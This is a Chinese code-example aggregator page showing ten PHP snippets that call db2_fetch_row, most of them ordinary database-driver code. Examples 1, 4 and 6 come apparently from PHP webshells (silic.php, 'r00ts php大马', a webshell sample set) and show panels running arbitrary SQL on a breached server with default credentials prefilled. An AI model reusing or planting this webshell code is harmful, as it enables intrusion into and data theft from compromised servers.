当前位置: 首页>>代码示例>>PHP>>正文


PHP db2_fetch_row函数代码示例

本文整理汇总了PHP中db2_fetch_row函数的典型用法代码示例。如果您正苦于以下问题:PHP db2_fetch_row函数的具体用法?PHP db2_fetch_row怎么用?PHP db2_fetch_row使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了db2_fetch_row函数的10个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: otherdb


//.........这里部分代码省略.........
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
开发者ID:evil7,项目名称:webshell,代码行数:67,代码来源:silic.php

示例2: fetchObjectProperty

 /**
  * Gets a property value in the fetched row given a SQL statement.
  *
  * @param unknown $sql
  *        	the sql statement.
  * @throws Exception
  * @return the property value.
  */
 public function fetchObjectProperty($sql, $property)
 {
     $propertyValue = null;
     $connection = $this->connect();
     $stmt = db2_prepare($connection, $sql);
     $result = db2_execute($stmt, array(0));
     if ($result) {
         while (db2_fetch_row($stmt)) {
             $propertyValue = db2_result($stmt, $property);
         }
     } else {
         $message = "\nCould not fetch the object from database table. " . db2_stmt_errormsg($stmt);
         throw new Exception($message);
     }
     $this->__destruct();
     return $propertyValue;
 }
开发者ID:josivansilva,项目名称:php-samples,代码行数:25,代码来源:BaseDAO.php

示例3: array

 /**
  * Returns an array of the fields in given table name.
  *
  * @param Model $model Model object to describe
  * @return array Fields in table. Keys are name and type
  */
 function &describe(&$model)
 {
     $cache = parent::describe($model);
     if ($cache != null) {
         return $cache;
     }
     $fields = array();
     $result = db2_columns($this->connection, '', '', strtoupper($this->fullTableName($model)));
     while (db2_fetch_row($result)) {
         $fields[strtolower(db2_result($result, 'COLUMN_NAME'))] = array('type' => $this->column(strtolower(db2_result($result, 'TYPE_NAME'))), 'null' => db2_result($result, 'NULLABLE'), 'default' => db2_result($result, 'COLUMN_DEF'), 'length' => db2_result($result, 'COLUMN_SIZE'));
     }
     $this->__cacheDescription($model->tablePrefix . $model->table, $fields);
     return $fields;
 }
开发者ID:christianallred,项目名称:fluent_univ,代码行数:20,代码来源:dbo_db2.php

示例4: otherdb


//.........这里部分代码省略.........
<form method="POST" name="db2form" action="?s=w&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br>
<script language="javascript">
function db2Full(i){
\tStr = new Array(4);
        Str[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
        Str[2] = "select name from sysibm.systables;";
        Str[3] = "select colname from syscat.columns where tabname='table_name';";
        Str[4] = "db2 get db cfg for db_name;";
\tdb2form.db2sql.value = Str[i];
\treturn true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">databases</option>
        <option value="1">tables</option>
        <option value="2">columns</option>
        <option value="3">db config</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            //$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;";
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$db2row[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
开发者ID:mcanv,项目名称:webshell,代码行数:67,代码来源:r00ts+php大马.php

示例5: dataSeek

 /**
  * Moves the row pointer of the result set
  * @param $res Object: result set
  * @param $row Integer: row number
  * @return success or failure
  */
 public function dataSeek($res, $row)
 {
     if ($res instanceof ResultWrapper) {
         $res = $res->result;
     }
     return db2_fetch_row($res, $row);
 }
开发者ID:rocLv,项目名称:conference,代码行数:13,代码来源:DatabaseIbm_db2.php

示例6: sqlqu

function sqlqu($sqlty, $host, $user, $pass, $db = '', $query)
{
    $res = '';
    switch ($sqlty) {
        case 'MySQL':
            if (!function_exists('mysql_connect')) {
                return 0;
            }
            $link = @mysql_connect($host, $user, $pass);
            if ($link) {
                if (!empty($db)) {
                    @mysql_select_db($db, $link);
                }
                $result = @mysql_query($query, $link);
                if ($result != 1) {
                    while ($data = @mysql_fetch_row($result)) {
                        $res .= implode('+', $data) . '-+';
                    }
                    $res .= '*';
                    for ($i = 0; $i < @mysql_num_fields($result); $i++) {
                        $res .= @mysql_field_name($result, $i) . '-';
                    }
                }
                @mysql_close($link);
                return $res;
            }
            break;
        case 'MSSQL':
            if (!function_exists('mssql_connect')) {
                return 0;
            }
            $link = @mssql_connect($host, $user, $pass);
            if ($link) {
                if (!empty($db)) {
                    @mssql_select_db($db, $link);
                }
                $result = @mssql_query($query, $link);
                while ($data = @mssql_fetch_row($result)) {
                    $res .= implode('+', $data) . '-+';
                }
                $res .= '*';
                for ($i = 0; $i < @mssql_num_fields($result); $i++) {
                    $res .= @mssql_field_name($result, $i) . '-';
                }
                @mssql_close($link);
                return $res;
            }
            break;
        case 'Oracle':
            if (!function_exists('ocilogon')) {
                return 0;
            }
            $link = @ocilogon($user, $pass, $db);
            if ($link) {
                $stm = @ociparse($link, $query);
                @ociexecute($stm, OCI_DEFAULT);
                while ($data = @ocifetchinto($stm, $data, OCI_ASSOC + OCI_RETURN_NULLS)) {
                    $res .= implode('+', $data) . '-+';
                }
                $res .= '*';
                for ($i = 0; $i < oci_num_fields($stm); $i++) {
                    $res .= @oci_field_name($stm, $i) . '-';
                }
                return $res;
            }
            break;
        case 'PostgreSQL':
            if (!function_exists('pg_connect')) {
                return 0;
            }
            $link = @pg_connect("host={$host} dbname={$db} user={$user} password={$pass}");
            if ($link) {
                $result = @pg_query($link, $query);
                while ($data = @pg_fetch_row($result)) {
                    $res .= implode('+', $data) . '-+';
                }
                $res .= '*';
                for ($i = 0; $i < @pg_num_fields($result); $i++) {
                    $res .= @pg_field_name($result, $i) . '-';
                }
                @pg_close($link);
                return $res;
            }
            break;
        case 'DB2':
            if (!function_exists('db2_connect')) {
                return 0;
            }
            $link = @db2_connect($db, $user, $pass);
            if ($link) {
                $result = @db2_exec($link, $query);
                while ($data = @db2_fetch_row($result)) {
                    $res .= implode('+', $data) . '-+';
                }
                $res .= '*';
                for ($i = 0; $i < @db2_num_fields($result); $i++) {
                    $res .= @db2_field_name($result, $i) . '-';
                }
                @db2_close($link);
                return $res;
//.........这里部分代码省略.........
开发者ID:retanoj,项目名称:webshellSample,代码行数:101,代码来源:3f043fd6edd0192a61e1ab53118b86b2.php

示例7: executeQuery

 /**
  * returns a first column from sql stmt result set
  *
  * used in one place: iToolkitService's ReadSPLFData().
  *
  * @todo eliminate this method if possible.
  *
  * @param $conn
  * @param $sql
  * @throws \Exception
  * @return array
  */
 public function executeQuery($conn, $sql)
 {
     $txt = array();
     $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
     if (is_resource($stmt)) {
         if (db2_fetch_row($stmt)) {
             $column = db2_result($stmt, 0);
             $txt[] = $column;
         }
     } else {
         $this->setStmtError();
         throw new \Exception("Failure executing SQL: ({$sql}) " . db2_stmt_errormsg(), db2_stmt_error());
     }
     return $txt;
 }
开发者ID:zendtech,项目名称:ibmitoolkit,代码行数:27,代码来源:Db2supp.php

示例8: getData

 /**
  * Get result's data as an array (indexed according to fetch method selected)
  *
  * @return  array
  */
 public function getData()
 {
     if (!is_null($this->data)) {
         return $this->data;
     }
     $result = array();
     $iterator = 0;
     switch ($this->model) {
         case "MYSQLI":
             switch ($this->fetch) {
                 case 'NUM':
                     $fetch = MYSQLI_NUM;
                     break;
                 case 'ASSOC':
                     $fetch = MYSQLI_ASSOC;
                     break;
                 default:
                     $fetch = MYSQLI_BOTH;
                     break;
             }
             if (is_bool($this->raw_data)) {
                 $result = null;
             } else {
                 while ($iterator < $this->raw_data->num_rows) {
                     $result[$iterator] = $this->raw_data->fetch_array($fetch);
                     $iterator++;
                 }
             }
             //if ( is_object($this->raw_data) ) $this->raw_data->free();
             break;
         case "MYSQL_PDO":
         case "SQLITE_PDO":
         case "ORACLE_PDO":
         case "DBLIB_PDO":
             switch ($this->fetch) {
                 case 'NUM':
                     $fetch = \PDO::FETCH_NUM;
                     break;
                 case 'ASSOC':
                     $fetch = \PDO::FETCH_ASSOC;
                     break;
                 default:
                     $fetch = \PDO::FETCH_BOTH;
                     break;
             }
             $result = $this->raw_data->fetchAll($fetch);
             break;
         case "DB2":
             switch ($this->fetch) {
                 case 'NUM':
                     while ($row = db2_fetch_row($this->raw_data)) {
                         array_push($result, $row);
                     }
                     break;
                 case 'ASSOC':
                     while ($row = db2_fetch_assoc($this->raw_data)) {
                         array_push($result, $row);
                     }
                     break;
                 default:
                     while ($row = db2_fetch_both($this->raw_data)) {
                         array_push($result, $row);
                     }
                     break;
             }
             break;
         case "POSTGRESQL":
             while ($iterator < pg_num_rows($this->raw_data)) {
                 switch ($this->fetch) {
                     case 'NUM':
                         $result[$iterator] = pg_fetch_array($this->raw_data);
                         break;
                     case 'ASSOC':
                         $result[$iterator] = pg_fetch_assoc($this->raw_data);
                         break;
                     default:
                         $result[$iterator] = pg_fetch_all($this->raw_data);
                         break;
                 }
                 $iterator++;
             }
             break;
     }
     // current data to buffer;
     $this->data = $result;
     return $result;
 }
开发者ID:comodojo,项目名称:database,代码行数:92,代码来源:QueryResult.php

示例9: resultsToArray


//.........这里部分代码省略.........
             $this->rows = $data->rowCount();
             break;
         case "ORACLE_PDO":
             if (!is_object($data)) {
                 throw new DatabaseException('Invalid result data for model ' . $this->model);
             }
             switch ($this->fetch) {
                 case 'NUM':
                     $fetch = \PDO::FETCH_NUM;
                     break;
                 case 'ASSOC':
                     $fetch = \PDO::FETCH_ASSOC;
                     break;
                 default:
                     $fetch = \PDO::FETCH_BOTH;
                     break;
             }
             $result = $data->fetchAll($fetch);
             $this->length = sizeof($result);
             $this->rows = $data->rowCount();
             try {
                 $this->id = $this->oracleLastInsertId();
             } catch (DatabaseException $de) {
                 throw $de;
             }
             break;
         case "DBLIB_PDO":
             if (!is_object($data)) {
                 throw new DatabaseException('Invalid result data for model ' . $this->model);
             }
             switch ($this->fetch) {
                 case 'NUM':
                     $fetch = \PDO::FETCH_NUM;
                     break;
                 case 'ASSOC':
                     $fetch = \PDO::FETCH_ASSOC;
                     break;
                 default:
                     $fetch = \PDO::FETCH_BOTH;
                     break;
             }
             $result = $data->fetchAll($fetch);
             $this->length = sizeof($result);
             $this->rows = $data->rowCount();
             try {
                 $this->id = $this->dblibLastInsertId();
             } catch (DatabaseException $de) {
                 throw $de;
             }
             break;
         case "DB2":
             if (!is_resource($data) or @get_resource_type($data) != "DB2 Statement") {
                 throw new DatabaseException('Invalid result data for model ' . $this->model);
             }
             $this->length = db2_num_fields($data);
             $this->id = db2_last_insert_id($this->dbh);
             $this->rows = db2_num_rows($data);
             switch ($this->fetch) {
                 case 'NUM':
                     while ($row = db2_fetch_row($data)) {
                         array_push($result, $row);
                     }
                     break;
                 case 'ASSOC':
                     while ($row = db2_fetch_assoc($data)) {
                         array_push($result, $row);
                     }
                     break;
                 default:
                     while ($row = db2_fetch_both($data)) {
                         array_push($result, $row);
                     }
                     break;
             }
             break;
         case "POSTGRESQL":
             if (!is_resource($data) or @get_resource_type($data) != "pgsql result") {
                 throw new DatabaseException('Invalid result data for model ' . $this->model);
             }
             $this->length = pg_num_rows($data);
             $this->id = pg_last_oid($data);
             $this->rows = pg_affected_rows($data);
             while ($iterator < $this->length) {
                 switch ($this->fetch) {
                     case 'NUM':
                         $result[$iterator] = pg_fetch_array($data);
                         break;
                     case 'ASSOC':
                         $result[$iterator] = pg_fetch_assoc($data);
                         break;
                     default:
                         $result[$iterator] = pg_fetch_all($data);
                         break;
                 }
                 $iterator++;
             }
             break;
     }
     return array("data" => $result, "length" => $this->length, "id" => $this->id, "affected_rows" => $this->rows);
 }
开发者ID:noodless84,项目名称:GestPortal,代码行数:101,代码来源:Database.php

示例10: dbFetchRow

function dbFetchRow($result)
{
    return db2_fetch_row($result);
}
开发者ID:Juklabs,项目名称:emmaline,代码行数:4,代码来源:connect.php


注:本文中的db2_fetch_row函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。